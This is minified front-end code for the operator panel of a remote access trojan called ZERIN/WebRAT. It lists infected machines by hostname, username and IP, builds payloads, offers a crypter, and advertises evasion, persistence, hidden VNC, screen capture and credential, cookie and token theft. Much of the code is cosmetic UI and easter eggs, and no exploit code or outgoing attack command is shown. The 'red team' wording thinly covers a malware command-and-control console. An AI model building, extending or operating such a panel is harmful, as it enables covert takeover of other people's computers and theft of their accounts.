i=p.useCallback(()=>{if(n.current++,clearTimeout(r.current),r.current=setTimeout(()=>{n.current=0},nA),e){if(n.current>=Cg){n.current=0,t(!1);try{localStorage.removeItem(Wf)}catch{}iA()}return}if(n.current>=15&&aA(n.current-14),n.current>=Cg){n.current=0,t(!0);try{localStorage.setItem(Wf,"true")}catch{}rA(),sA(),Og()}},[e]);return{isActive:e,handleStatusClick:i}}const Lg=["ArrowUp","ArrowUp","ArrowLeft","ArrowLeft","s","y"];function dA(){try{const e=new AudioContext,t=e.currentTime,n=e.createGain();n.gain.setValueAtTime(.12,t),n.connect(e.destination),[261.6,329.6,392,523.3,659.3].forEach((l,c)=>{const u=t+c*.07,d=e.createOscillator(),f=e.createGain();d.type="sawtooth",d.frequency.setValueAtTime(l,u),f.gain.setValueAtTime(0,u),f.gain.linearRampToValueAtTime(.15,u+.02),f.gain.exponentialRampToValueAtTime(.001,u+.35),d.connect(f).connect(n),d.start(u),d.stop(u+.4)});const i=e.createOscillator(),a=e.createGain(),o=e.createBiquadFilter();i.type="triangle",i.frequency.setValueAtTime(130.8,t),o.type="lowpass",o.frequency.setValueAtTime(800,t),o.frequency.linearRampToValueAtTime(200,t+1.5),a.gain.setValueAtTime(0,t),a.gain.linearRampToValueAtTime(.08,t+.1),a.gain.setValueAtTime(.08,t+.8),a.gain.exponentialRampToValueAtTime(.001,t+1.5),i.connect(o).connect(a).connect(n),i.start(t),i.stop(t+1.6)}catch{}}function fA(){try{const e=new AudioContext,t=e.currentTime,n=e.createOscillator(),r=e.createGain();n.type="sawtooth",n.frequency.setValueAtTime(600,t),n.frequency.exponentialRampToValueAtTime(80,t+.5),r.gain.setValueAtTime(.1,t),r.gain.exponentialRampToValueAtTime(.001,t+.55),n.connect(r).connect(e.destination),n.start(t),n.stop(t+.6)}catch{}}function pA(){const e=document.createElement("div");e.style.cssText="position:fixed;inset:0;pointer-events:none;z-index:99999;overflow:hidden;",document.body.appendChild(e);for(let n=0;n<8;n++){const r=document.createElement("div");r.style.cssText=` position:absolute;left:0;right:0;height:2px; top:${n*13}%; background:linear-gradient(90deg, transparent, ${n%2===0?"#FF2D95":"#00F0FF"}, transparent); box-shadow:0 0 12px ${n%2===0?"#FF2D95":"#00F0FF"}; opacity:0; animation:synthBurstLine 0.6s ease-out ${n*.05}s forwards; `,e.appendChild(r)}const t=["#FF2D95","#00F0FF","#B026FF","#FF6B9D","#00D4FF"];for(let n=0;n<30;n++){const r=document.createElement("div"),i=3+Math.random()*6,a=30+Math.random()*40,o=30+Math.random()*40,l=(Math.random()-.5)*300,c=(Math.random()-.5)*300,u=t[n%t.length];r.style.cssText=` position:absolute;left:${a}%;top:${o}%; width:${i}px;height:${i}px; background:${u};border-radius:50%; box-shadow:0 0 8px ${u}, 0 0 16px ${u}40; --synth-dx:${l}px;--synth-dy:${c}px; animation:synthBurstParticle 0.8s cubic-bezier(.15,.8,.3,1) ${Math.random()*.15}s forwards; `,e.appendChild(r)}setTimeout(()=>e.remove(),1500)}let Ig=0,Uf=0;function mA(e,t){const n=Date.now();if(n-Ig<40)return;Ig=n,Uf=(Uf+15)%360;const r=document.createElement("div");r.className="synthwave-trail";const i=Uf<180?"#FF2D95":"#00F0FF";r.style.cssText=`left:${e}px;top:${t}px;background:${i};box-shadow:0 0 6px ${i},0 0 12px ${i}60;`,document.body.appendChild(r),setTimeout(()=>r.remove(),500)}function hA(){const e=document.createElement("div");e.className="synthwave-shape";const t=["triangle","diamond","circle"],n=t[Math.floor(Math.random()*t.length)],r=Math.random()>.5?"#FF2D95":"#00F0FF",i=12+Math.random()*20,a=10+Math.random()*80;let o="";n==="triangle"?o="polygon(50% 0%, 0% 100%, 100% 100%)":n==="diamond"?o="polygon(50% 0%, 100% 50%, 50% 100%, 0% 50%)":o="circle(50%)",e.style.cssText=` left:${a}vw;width:${i}px;height:${i}px; clip-path:${o}; border:1.5px solid ${r}; box-shadow:0 0 8px ${r}60,inset 0 0 4px ${r}30; background:${r}08; `,document.body.appendChild(e),setTimeout(()=>e.remove(),6e3)}function xA(){const[e,t]=p.useState(!1),n=p.useRef([]),r=p.useRef();return p.useEffect(()=>{function i(a){var u,d;const o=(u=a.target)==null?void 0:u.tagName;if(o==="INPUT"||o==="TEXTAREA"||o==="SELECT"||(d=a.target)!=null&&d.isContentEditable)return;const l=a.key.length===1?a.key.toLowerCase():a.key;n.current.push(l);const c=Lg.length;if(n.current.length>c&&(n.current=n.current.slice(-c)),clearTimeout(r.current),r.current=setTimeout(()=>{n.current=[]},4e3),n.current.length>=c){const f=n.current.slice(-c);Lg.every((h,x)=>f[x]===h)&&(n.current=[],t(h=>(h?fA():(dA(),pA()),!h)))}}return window.addEventListener("keydown",i),()=>window.removeEventListener("keydown",i)},[]),p.useEffect(()=>{const i=document.documentElement.classList;return e?i.add("synthwave-theme"):i.remove("synthwave-theme"),()=>{i.remove("synthwave-theme")}},[e]),p.useEffect(()=>{if(!e)return;const i=a=>mA(a.clientX,a.clientY);return document.addEventListener("mousemove",i),()=>document.removeEventListener("mousemove",i)},[e]),p.useEffect(()=>{if(!e)return;const i=()=>{hA(),a=setTimeout(i,5e3+Math.random()*5e3)};let a=setTimeout(i,2e3);return()=>clearTimeout(a)},[e]),{isActive:e}}const vA={sm:"w-2 h-2",md:"w-2.5 h-2.5",lg:"w-3 h-3"},gA={sm:"text-[10px]",md:"text-xs",lg:"text-sm"},yA={alive:"bg-zerin-accent",stale:"bg-zinc-500",dead:"bg-zinc-700"},bA={alive:"text-zerin-accent",stale:"text-zinc-500",dead:"text-zinc-700"},wA={alive:"ALIVE",stale:"STALE",dead:"DEAD"};function nd({status:e,size:t="md",showLabel:n=!1}){return s.jsxs("span",{className:"inline-flex items-center gap-2",children:[s.jsxs("span",{className:"relative inline-flex",children:[e==="alive"&&s.jsx("span",{className:"absolute inline-flex h-full w-full rounded-full bg-zerin-accent opacity-40 animate-pulse-dot"}),s.jsx("span",{className:`relative inline-block rounded-full ${vA[t]} ${yA[e]}`})]}),n&&s.jsx("span",{className:`font-mono font-medium tracking-wider ${gA[t]} ${bA[e]}`,children:wA[e]})]})}function jA({open:e,onClose:t,agents:n}){const[r,i]=p.useState(""),[a,o]=p.useState(0),l=p.useRef(null),c=rr(),u=p.useMemo(()=>{if(r.trim()){const f=r.toLowerCase();return n.filter(m=>m.hostname.toLowerCase().includes(f)||m.username.toLowerCase().includes(f)||m.internal_ip.includes(f)||m.external_ip.includes(f)||m.id.toLowerCase().includes(f)).slice(0,10).map(m=>({type:"agent",id:m.id,primary:m.hostname,secondary:`${m.username} — ${m.internal_ip}`,agent:m}))}return n.slice(0,5).map(f=>({type:"agent",id:f.id,primary:f.hostname,secondary:`${f.username} — ${f.internal_ip}`,agent:f}))},[r,n]);p.useEffect(()=>{e&&(i(""),o(0),setTimeout(()=>{var f;return(f=l.current)==null?void 0:f.focus()},50))},[e]),p.useEffect(()=>{o(0)},[r]);const d=p.useCallback(f=>{t(),c(`/agents/${f.id}`)},[c,t]);return p.useEffect(()=>{if(!e)return;function f(m){if(m.key==="Escape"){t();return}m.key==="ArrowDown"&&(m.preventDefault(),o(h=>Math.min(h+1,u.length-1))),m.key==="ArrowUp"&&(m.preventDefault(),o(h=>Math.max(h-1,0))),m.key==="Enter"&&u[a]&&(m.preventDefault(),d(u[a]))}return window.addEventListener("keydown",f),()=>window.removeEventListener("keydown",f)},[e,u,a,t,d]),e?s.jsxs("div",{className:"fixed inset-0 z-50 flex items-start justify-center pt-[15vh]",onClick:t,children:[s.jsx("div",{className:"absolute inset-0 bg-black/60"}),s.jsxs("div",{className:"relative w-full max-w-lg bg-zerin-panel border border-zerin-panel-border shadow-2xl shadow-black/40 animate-fade-in",onClick:f=>f.stopPropagation(),children:[s.jsxs("div",{className:"flex items-center gap-3 px-4 py-3 border-b border-zerin-panel-border",children:[s.jsx("svg",{className:"w-4 h-4 text-zerin-text-muted flex-shrink-0",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z"})}),s.jsx("input",{ref:l,type:"text",value:r,onChange:f=>i(f.target.value),placeholder:"Search agents by hostname, IP, username...",className:"flex-1 bg-transparent text-sm text-zerin-text placeholder-zerin-text-muted focus:outline-none"}),s.jsx("kbd",{className:"text-[10px] text-zerin-text-muted bg-zerin-bg px-1.5 py-0.5 border border-zerin-panel-border font-mono",children:"ESC"})]}),s.jsx("div",{className:"max-h-[50vh] overflow-y-auto custom-scrollbar",children:u.length===0?s.jsx("div",{className:"px-4 py-8 text-center",children:s.jsx("p",{className:"text-zerin-text-muted text-sm",children:r?"No results found":"No agents available"})}):s.jsxs("div",{className:"py-1",children:[!r&&s.jsx("div",{className:"px-4 py-2 text-[10px] text-zerin-text-muted uppercase tracking-wider font-medium",children:"Recent Agents"}),u.map((f,m)=>s.jsxs("button",{onClick:()=>d(f),onMouseEnter:()=>o(m),className:`w-full text-left flex items-center gap-3 px-4 py-2.5 transition-colors ${m===a?"bg-zerin-accent-muted":"hover:bg-zerin-panel-hover"}`,children:[f.agent&&s.jsx(nd,{status:f.agent.status,size:"sm"}),s.jsxs("div",{className:"min-w-0 flex-1",children:[s.jsx("p",{className:`text-sm font-medium truncate ${m===a?"text-zerin-accent":"text-zerin-text"}`,children:f.primary}),s.jsx("p",{className:"text-xs text-zerin-text-muted truncate",children:f.secondary})]}),s.jsx("span",{className:"text-[10px] font-mono text-zerin-text-muted flex-shrink-0",children:f.id.slice(0,8)})]},f.id))]})}),s.jsxs("div",{className:"px-4 py-2.5 border-t border-zerin-panel-border flex items-center gap-4 text-[10px] text-zerin-text-muted",children:[s.jsxs("span",{className:"flex items-center gap-1",children:[s.jsx("kbd",{className:"bg-zerin-bg px-1 py-0.5 border border-zerin-panel-border font-mono",children:"↑↓"}),"navigate"]}),s.jsxs("span",{className:"flex items-center gap-1",children:[s.jsx("kbd",{className:"bg-zerin-bg px-1 py-0.5 border border-zerin-panel-border font-mono",children:"↵"}),"select"]})]})]})]}):null}let Gi={status:"idle",payloadName:"",startedAt:0,error:""};const gm=new Set;function rd(){gm.forEach(e=>e())}function s5(){return Gi}function o5(e){return gm.add(e),()=>gm.delete(e)}function kA(e){Gi={status:"building",payloadName:e,startedAt:Date.now(),error:""},rd()}function NA(){Gi={...Gi,status:"success"},rd()}function Dg(e){Gi={...Gi,status:"error",error:e},rd()}function Rg(){Gi={status:"idle",payloadName:"",startedAt:0,error:""},rd()}const id=p.createContext({lastMessage:null}),SA=[{to:"/dashboard",label:"Dashboard",icon:s.jsx("svg",{className:"w-4.5 h-4.5",viewBox:"0 0 20 20",fill:"currentColor",children:s.jsx("path",{d:"M3 4a1 1 0 011-1h4a1 1 0 011 1v4a1 1 0 01-1 1H4a1 1 0 01-1-1V4zm0 8a1 1 0 011-1h4a1 1 0 011 1v4a1 1 0 01-1 1H4a1 1 0 01-1-1v-4zm8-8a1 1 0 011-1h4a1 1 0 011 1v4a1 1 0 01-1 1h-4a1 1 0 01-1-1V4zm0 8a1 1 0 011-1h4a1 1 0 011 1v4a1 1 0 01-1 1h-4a1 1 0 01-1-1v-4z"})})},{to:"/events",label:"Events",icon:s.jsx("svg",{className:"w-4.5 h-4.5",viewBox:"0 0 20 20",fill:"currentColor",children:s.jsx("path",{d:"M10 2a6 6 0 00-6 6v3.586l-.707.707A1 1 0 004 14h12a1 1 0 00.707-1.707L16 11.586V8a6 6 0 00-6-6zm0 16a3 3 0 01-3-3h6a3 3 0 01-3 3z"})})},{to:"/payloads",label:"Build",icon:s.jsx("svg",{className:"w-4.5 h-4.5",viewBox:"0 0 20 20",fill:"currentColor",children:s.jsx("path",{fillRule:"evenodd",d:"M5 2a2 2 0 00-2 2v1a2 2 0 002 2h10a2 2 0 002-2V4a2 2 0 00-2-2H5zm0 6a2 2 0 00-2 2v1a2 2 0 002 2h10a2 2 0 002-2v-1a2 2 0 00-2-2H5zm-2 8a2 2 0 012-2h10a2 2 0 012 2v1a2 2 0 01-2 2H5a2 2 0 01-2-2v-1z",clipRule:"evenodd"})})}],zA={to:"/crypter",label:"Crypter",icon:s.jsx("svg",{className:"w-4.5 h-4.5",viewBox:"0 0 20 20",fill:"currentColor",children:s.jsx("path",{fillRule:"evenodd",d:"M5 9V7a5 5 0 0110 0v2a2 2 0 012 2v5a2 2 0 01-2 2H5a2 2 0 01-2-2v-5a2 2 0 012-2zm8-2v2H7V7a3 3 0 016 0z",clipRule:"evenodd"})})},CA={to:"/admin",label:"Admin",icon:s.jsx("svg",{className:"w-4.5 h-4.5",viewBox:"0 0 20 20",fill:"currentColor",children:s.jsx("path",{fillRule:"evenodd",d:"M11.49 3.17c-.38-1.56-2.6-1.56-2.98 0a1.532 1.532 0 01-2.286.948c-1.372-.836-2.942.734-2.106 2.106.54.886.061 2.042-.947 2.287-1.561.379-1.561 2.6 0 2.978a1.532 1.532 0 01.947 2.287c-.836 1.372.734 2.942 2.106 2.106a1.532 1.532 0 012.287.947c.379 1.561 2.6 1.561 2.978 0a1.533 1.533 0 012.287-.947c1.372.836 2.942-.734 2.106-2.106a1.533 1.533 0 01.947-2.287c1.561-.379 1.561-2.6 0-2.978a1.532 1.532 0 01-.947-2.287c.836-1.372-.734-2.942-2.106-2.106a1.532 1.532 0 01-2.287-.947zM10 13a3 3 0 100-6 3 3 0 000 6z",clipRule:"evenodd"})})};function PA(){const e=p.useMemo(()=>Array.from({length:10},(t,n)=>({id:n,left:`${3+n*10}%`,delay:`${n*2.3}s`,duration:`${7+n%4*2.5}s`,size:`${13+n%5*3}px`})),[]);return s.jsx("div",{className:"fixed inset-0 pointer-events-none z-[9999] overflow-hidden","aria-hidden":!0,children:e.map(t=>s.jsx("span",{className:"femboy-paw",style:{left:t.left,animationDelay:t.delay,animationDuration:t.duration,fontSize:t.size},children:"🐾"},t.id))})}function EA(){const{logout:e,isAdmin:t}=is(),r=p.useSyncExternalStore(o5,s5).status==="building",a=Qj()==="rat_crypter"||t,o=[...SA,...a?[zA]:[],...t?[CA]:[]],l=rr(),{permission:c,enabled:u,requestPermission:d,toggleEnabled:f,notify:m,isSupported:h}=tA(),[x,g]=p.useState(!1),[y,v]=p.useState([]),{isActive:b,handleStatusClick:w}=uA(),{isActive:j}=xA(),[k,S]=p.useState(!1),N=p.useRef(""),z=p.useRef(null);p.useEffect(()=>{function R(V){var L,W;if(k||V.ctrlKey||V.metaKey||V.altKey)return;const $=(L=V.target)==null?void 0:L.tagName;$==="INPUT"||$==="TEXTAREA"||$==="SELECT"||(W=V.target)!=null&&W.isContentEditable||V.key.length===1&&(N.current+=V.key.toLowerCase(),N.current.length>20&&(N.current=N.current.slice(-10)),z.current&&clearTimeout(z.current),z.current=setTimeout(()=>{N.current=""},3e3),N.current.includes("credits")&&(N.current="",S(!0)))}return window.addEventListener("keydown",R),()=>window.removeEventListener("keydown",R)},[k]),p.useEffect(()=>(document.body.classList.add("app-layout"),()=>document.body.classList.remove("app-layout")),[]);const O=p.useCallback(async()=>{try{const R=await e5();v(R)}catch{}},[]);p.useEffect(()=>{O();const R=setInterval(O,15e3);return()=>clearInterval(R)},[O]);const _=p.useCallback(R=>{if(R.type==="agent_update"){const V=R.payload;v($=>{const L=$.findIndex(W=>W.id===V.id);if(L>=0){const W=[...$];return W[L]=V,W}return m("New Agent Connected",`${V.hostname} (${V.internal_ip})`),[V,...$]})}if(R.type==="event"){const V=R.payload;(V.type==="task_completed"||V.type==="task_failed")&&m("Task Update",V.message)}},[m]),{isConnected:T,lastMessage:P}=eA({onMessage:_});return p.useEffect(()=>{function R(V){(V.metaKey||V.ctrlKey)&&V.key==="k"&&(V.preventDefault(),g($=>!$))}return window.addEventListener("keydown",R),()=>window.removeEventListener("keydown",R)},[]),s.jsx(id.Provider,{value:{lastMessage:P},children:s.jsxs("div",{className:"flex h-screen bg-zerin-bg overflow-hidden",children:[s.jsxs("aside",{className:"w-56 flex-shrink-0 bg-zerin-panel border-r border-zerin-panel-border flex flex-col",children:[s.jsx("div",{className:"px-5 py-5 border-b border-zerin-panel-border cursor-pointer group",onClick:()=>l("/dashboard"),children:s.jsxs("div",{className:"flex items-center gap-2 relative",children:[b&&s.jsxs(s.Fragment,{children:[s.jsx("div",{className:"femboy-ear femboy-ear-left"}),s.jsx("div",{className:"femboy-ear femboy-ear-right"})]}),s.jsx("span",{className:`font-display text-lg font-bold transition-colors ${j?"synthwave-logo-glow":b?"text-[#ff69b4] femboy-logo-glow":"text-zerin-text group-hover:text-zerin-accent"}`,children:"ZERIN"}),s.jsx("span",{className:`px-1.5 py-0.5 text-[10px] font-mono font-semibold tracking-wider ${j?"text-[#00F0FF] border border-[#00F0FF]/30 synthwave-badge":b?"text-[#ff69b4] border border-[#ff69b4]/25 femboy-badge":"text-zerin-accent border border-zerin-accent/20"}`,children:j?"NEON":b?"CatRAT":"WebRAT"})]})}),s.jsxs("button",{onClick:()=>g(!0),className:`mx-3 mt-4 flex items-center gap-2.5 px-3 py-2 text-xs\r text-zerin-text-muted border border-zerin-panel-border\r hover:border-zerin-panel-border-hover hover:text-zerin-text-dim\r transition-colors`,children:[s.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z"})}),s.jsx("span",{className:"flex-1 text-left",children:"Search..."}),s.jsx("kbd",{className:"text-[10px] font-mono bg-zerin-bg px-1 py-0.5 border border-zerin-panel-border",children:"Ctrl+K"})]}),s.jsx("nav",{className:"flex-1 px-3 py-4 space-y-0.5",children:o.map(({to:R,label:V,icon:$})=>s.jsx(yE,{to:R,end:R==="/dashboard",className:({isActive:L})=>`group relative flex items-center gap-3 px-3 py-2.5 text-sm font-sans transition-colors duration-150 ${L?"bg-zerin-accent-muted text-zerin-accent":"text-zerin-text-dim hover:text-zerin-text hover:bg-zerin-panel-hover"}`,children:({isActive:L})=>s.jsxs(s.Fragment,{children:[L&&s.jsx("span",{className:"absolute left-0 top-1/2 -translate-y-1/2 w-0.5 h-5 bg-zerin-accent"}),s.jsx("span",{className:L?"text-zerin-accent":"text-zerin-text-muted group-hover:text-zerin-text-dim",children:$}),s.jsx("span",{className:"font-medium",children:V}),R==="/payloads"&&r&&s.jsx("span",{className:"ml-auto flex items-center gap-1.5",children:s.jsxs("svg",{className:"animate-spin h-3 w-3 text-zerin-accent",xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",children:[s.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),s.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]})})]})},R))}),s.jsxs("div",{className:"px-3 py-4 border-t border-zerin-panel-border space-y-3",children:[h&&s.jsxs("button",{onClick:()=>{c!=="granted"?d():f()},className:`w-full flex items-center gap-2.5 px-3 py-2 text-xs\r text-zerin-text-dim hover:text-zerin-text hover:bg-zerin-panel-hover\r transition-colors duration-150`,title:u?"Notifications enabled — click to disable":"Click to enable notifications",children:[s.jsx("svg",{className:"w-4 h-4",viewBox:"0 0 20 20",fill:"currentColor",children:s.jsx("path",{d:"M10 2a6 6 0 00-6 6v3.586l-.707.707A1 1 0 004 14h12a1 1 0 00.707-1.707L16 11.586V8a6 6 0 00-6-6zm0 16a3 3 0 01-3-3h6a3 3 0 01-3 3z"})}),s.jsx("span",{className:"flex-1 text-left",children:"Notifications"}),s.jsx("span",{className:`w-1.5 h-1.5 rounded-full ${u&&c==="granted"?"bg-zerin-accent":"bg-zinc-600"}`})]}),s.jsxs("div",{className:"flex items-center gap-2.5 px-3 py-2 text-xs select-none",onClick:w,children:[s.jsx("span",{className:`inline-block w-1.5 h-1.5 rounded-full ${T?"bg-zerin-accent":"bg-zinc-600"}`}),s.jsx("span",{className:T?"text-zerin-text-dim":"text-zerin-text-muted",children:T?j?"ONLINE // NEON":b?"Nyaa~ Connected":"Connected":j?"OFFLINE // DARK":"Disconnected"})]}),s.jsxs("button",{onClick:e,className:`w-full flex items-center gap-2.5 px-3 py-2 text-sm font-sans\r text-zerin-text-dim hover:text-zerin-danger hover:bg-zerin-danger-dim\r transition-colors duration-150`,children:[s.jsxs("svg",{className:"w-4 h-4",viewBox:"0 0 20 20",fill:"currentColor",children:[s.jsx("path",{fillRule:"evenodd",d:"M3 3a1 1 0 00-1 1v12a1 1 0 001 1h6a1 1 0 100-2H4V5h5a1 1 0 100-2H3zm11.707 3.293a1 1 0 010 1.414L12.414 10l2.293 2.293a1 1 0 01-1.414 1.414l-3-3a1 1 0 010-1.414l3-3a1 1 0 011.414 0z",clipRule:"evenodd"}),s.jsx("path",{fillRule:"evenodd",d:"M17 10a1 1 0 00-1-1H9a1 1 0 100 2h7a1 1 0 001-1z",clipRule:"evenodd"})]}),s.jsx("span",{children:j?"JACK OUT":b?"Bai bai~":"Sign out"})]})]})]}),s.jsx("main",{className:"flex-1 overflow-auto custom-scrollbar bg-zerin-bg",children:s.jsx(aE,{})}),s.jsx(jA,{open:x,onClose:()=>g(!1),agents:y}),b&&s.jsx(PA,{}),k&&s.jsxs("div",{className:"fixed inset-0 z-[9999] flex items-center justify-center cursor-pointer",onClick:()=>S(!1),style:{animation:"credits-in 0.5s ease-out"},children:[s.jsx("div",{className:"absolute inset-0 bg-black/90 backdrop-blur-sm"}),s.jsxs("div",{className:"relative text-center select-none",style:{animation:"glitch-appear 0.6s ease-out"},children:[s.jsx("pre",{className:"text-cyan-400 text-xs sm:text-sm font-mono mb-8 leading-tight",style:{textShadow:"0 0 10px rgba(0, 255, 255, 0.5), 0 0 40px rgba(0, 255, 255, 0.2)",animation:"credits-glow 2s ease-in-out infinite alternate"},children:` _______ ______ ______ _____ __ _ / |______ |_____/ | | \\ | / |______ | \\_ __|__ | \\_| `}),s.jsxs("div",{className:"space-y-4 mb-10",children:[s.jsx("p",{className:"text-zinc-500 text-xs font-mono tracking-[0.3em] uppercase",children:"Developed by"}),s.jsxs("div",{className:"space-y-3",children:[s.jsx("p",{className:"text-cyan-300 text-xl font-mono font-bold tracking-wider",style:{textShadow:"0 0 20px rgba(0, 255, 255, 0.4)",animation:"credit-slide 0.5s ease-out 0.2s both"},children:"Cycle"}),s.jsx("p",{className:"text-cyan-300 text-xl font-mono font-bold tracking-wider",style:{textShadow:"0 0 20px rgba(0, 255, 255, 0.4)",animation:"credit-slide 0.5s ease-out 0.4s both"},children:"SysBuffer"}),s.jsx("p",{className:"text-cyan-300 text-xl font-mono font-bold tracking-wider",style:{textShadow:"0 0 20px rgba(0, 255, 255, 0.4)",animation:"credit-slide 0.5s ease-out 0.6s both"},children:"Ace"})]})]}),s.jsx("p",{className:"text-zinc-600 text-[10px] font-mono tracking-widest uppercase",style:{animation:"credit-slide 0.5s ease-out 0.8s both"},children:"click anywhere to close"})]}),s.jsx("div",{className:"absolute inset-0 pointer-events-none opacity-[0.03]",style:{background:"repeating-linear-gradient(0deg, transparent, transparent 2px, rgba(255,255,255,0.1) 2px, rgba(255,255,255,0.1) 4px)"}}),s.jsx("style",{children:` @keyframes credits-in { from { opacity: 0; } to { opacity: 1; } } @keyframes glitch-appear { 0% { transform: scale(0.95) translateY(10px); opacity: 0; filter: blur(4px); } 50% { transform: scale(1.02) translateY(-2px); filter: blur(0); } 100% { transform: scale(1) translateY(0); opacity: 1; filter: blur(0); } } @keyframes credits-glow { from { text-shadow: 0 0 10px rgba(0,255,255,0.5), 0 0 40px rgba(0,255,255,0.2); } to { text-shadow: 0 0 20px rgba(0,255,255,0.8), 0 0 60px rgba(0,255,255,0.3); } } @keyframes credit-slide { from { opacity: 0; transform: translateY(15px); } to { opacity: 1; transform: translateY(0); } } `})]})]})})}const AA=p.memo(function(){const t=p.useRef(null);return p.useEffect(()=>{const n=t.current;if(!n)return;const r=n.getContext("2d",{alpha:!0});let i,a=0,o=0;const l=1e3/30,c=256,u=new Array(c);for(let k=0;k{y(),b()};return window.removeEventListener("resize",y),window.addEventListener("resize",j),()=>{cancelAnimationFrame(i),window.removeEventListener("resize",j)}},[]),s.jsx("canvas",{ref:t,className:"fixed inset-0 pointer-events-none",style:{zIndex:0}})});function _A(e,t=40,n=0){const r=p.useRef(null),i=p.useRef(null),[a,o]=p.useState(!1);return p.useEffect(()=>{let l=0;o(!1),r.current&&(r.current.textContent=""),i.current&&(i.current.style.display="");const c=setTimeout(()=>{const u=setInterval(()=>{l++,r.current&&(r.current.textContent=e.slice(0,l)),l>=e.length&&(clearInterval(u),o(!0),i.current&&(i.current.style.display="none"))},t);return()=>clearInterval(u)},n);return()=>clearTimeout(c)},[e,t,n]),{spanRef:r,cursorRef:i,done:a}}const OA=[{tag:"STEALTH",title:"Low Detection Rate",desc:"Polymorphic engine that generates unique builds every time. Unique hashes, code paths, and structure — designed for red team engagements where evasion matters.",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M3.98 8.223A10.477 10.477 0 0 0 1.934 12c1.292 4.338 5.31 7.5 10.066 7.5.993 0 1.953-.138 2.863-.395M6.228 6.228A10.45 10.45 0 0 1 12 4.5c4.756 0 8.773 3.162 10.065 7.498a10.523 10.523 0 0 1-4.293 5.774M6.228 6.228 3 3m3.228 3.228 3.65 3.65m7.894 7.894L21 21m-3.228-3.228-3.65-3.65m0 0a3 3 0 1 0-4.243-4.243m4.242 4.242L9.88 9.88",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"STEALTH",title:"Process Concealment",desc:"Advanced in-memory execution with API-level hooks. Simulates APT tradecraft used in real-world adversary emulation engagements.",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M9 12.75 11.25 15 15 9.75m-3-7.036A11.959 11.959 0 0 1 3.598 6 11.99 11.99 0 0 0 3 9.749c0 5.592 3.824 10.29 9 11.623 5.176-1.332 9-6.03 9-11.622 0-1.31-.21-2.571-.598-3.751h-.152c-3.196 0-6.1-1.248-8.25-3.285Z",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"PERSIST",title:"Persistence Testing",desc:"12 persistence mechanisms for thorough assessment coverage. Test registry keys, scheduled tasks, services, WMI, COM objects, and more.",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M19.5 12c0-1.232-.046-2.453-.138-3.662a4.006 4.006 0 0 0-3.7-3.7 48.678 48.678 0 0 0-7.324 0 4.006 4.006 0 0 0-3.7 3.7c-.017.22-.032.441-.046.662M19.5 12l3-3m-3 3-3-3m-12 3c0 1.232.046 2.453.138 3.662a4.006 4.006 0 0 0 3.7 3.7 48.656 48.656 0 0 0 7.324 0 4.006 4.006 0 0 0 3.7-3.7c.017-.22.032-.441.046-.662M4.5 12l3 3m-3-3-3 3",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"ACCESS",title:"Remote Desktop",desc:"Hidden desktop session for interactive access. Supports VNC and hVNC for stealthy operator control during engagements.",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M9 17.25v1.007a3 3 0 0 1-.879 2.122L7.5 21h9l-.621-.621A3 3 0 0 1 15 18.257V17.25m6-12V15a2.25 2.25 0 0 1-2.25 2.25H5.25A2.25 2.25 0 0 1 3 15V5.25A2.25 2.25 0 0 1 5.25 3h13.5A2.25 2.25 0 0 1 21 5.25Z",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"CAPTURE",title:"Screen Capture",desc:"GPU-accelerated DXGI capture with dirty-rect tiling. Low-latency streaming for real-time monitoring during assessments.",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"m15.75 10.5 4.72-4.72a.75.75 0 0 1 1.28.53v11.38a.75.75 0 0 1-1.28.53l-4.72-4.72M4.5 18.75h9a2.25 2.25 0 0 0 2.25-2.25v-9a2.25 2.25 0 0 0-2.25-2.25h-9A2.25 2.25 0 0 0 2.25 7.5v9a2.25 2.25 0 0 0 2.25 2.25Z",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"CREDS",title:"Credential Auditing",desc:"Extracts stored credentials, cookies, and tokens from browsers and applications. Validates password hygiene across the target environment.",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M15.75 5.25a3 3 0 0 1 3 3m3 0a6 6 0 0 1-7.029 5.912c-.563-.097-1.159.026-1.563.43L10.5 17.25H8.25v2.25H6v2.25H2.25v-2.818c0-.597.237-1.17.659-1.591l6.499-6.499c.404-.404.527-1 .43-1.563A6 6 0 1 1 21.75 8.25Z",strokeLinecap:"round",strokeLinejoin:"round"})})},{tag:"CRYPTO",title:"Encrypted C2",desc:"ChaCha20-Poly1305 encrypted communications. X25519 key exchange. TLS 1.3 transport. Zero plaintext on the wire — ever.",icon:s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:s.jsx("path",{d:"M16.5 10.5V6.75a4.5 4.5 0 1 0-9 0v3.75m-.75 11.25h10.5a2.25 2.25 0 0 